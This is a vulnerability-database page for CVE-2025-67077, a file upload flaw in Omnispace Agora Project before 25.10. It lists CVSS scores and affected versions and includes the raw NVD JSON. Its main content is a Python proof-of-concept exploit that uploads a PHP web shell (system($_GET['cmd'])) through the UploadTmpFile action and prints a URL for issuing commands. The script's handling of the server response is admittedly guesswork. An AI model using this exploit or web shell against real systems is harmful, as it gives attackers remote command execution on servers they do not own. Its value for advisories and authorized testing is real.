Security Vulnerability Report
中文
CVE-2025-67077 CVSS 8.8 HIGH

CVE-2025-67077

Published: 2026-01-15 16:16:12
Last Modified: 2026-01-21 14:45:52

Description

File upload vulnerability in Omnispace Agora Project before 25.10 allowing authenticated, or under certain conditions also guest users, via the UploadTmpFile action.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:agora-project:agora-project:*:*:*:*:*:*:*:* - VULNERABLE
Omnispace Agora Project < 25.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67077 PoC - File Upload in Omnispace Agora Project # Target: Omnispace Agora Project < 25.10 # Module: UploadTmpFile action def exploit(target_url, session_cookie=None): """ Exploit for CVE-2025-67077: File upload vulnerability Allows authenticated users (or guest in some conditions) to upload malicious files via UploadTmpFile action """ upload_url = f"{target_url}/index.php?action=UploadTmpFile" # Malicious file content (WebShell example) payload = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.php', payload, 'application/x-php') } headers = {} if session_cookie: headers['Cookie'] = session_cookie try: response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: # Parse response to get uploaded file path # Adjust based on actual response format uploaded_path = response.text print(f"[+] File uploaded successfully: {uploaded_path}") print(f"[+] Access shell at: {uploaded_path}?cmd=whoami") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [session_cookie]") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] if len(sys.argv) > 2 else None exploit(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67077", "sourceIdentifier": "[email protected]", "published": "2026-01-15T16:16:11.757", "lastModified": "2026-01-21T14:45:52.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File upload vulnerability in Omnispace Agora Project before 25.10 allowing authenticated, or under certain conditions also guest users, via the UploadTmpFile action."}, {"lang": "es", "value": "Vulnerabilidad de carga de archivos en Omnispace Agora Project anterior a 25.10 permitiendo a usuarios autenticados, o bajo ciertas condiciones también a usuarios invitados, a través de la acción UploadTmpFile."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:agora-project:agora-project:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.10", "matchCriteriaId": "03FDD8D6-01A9-4C64-9893-65C744702416"}]}]}], "references": [{"url": "https://www.agora-project.net", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.helx.io/blog/advisory-agora-project/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}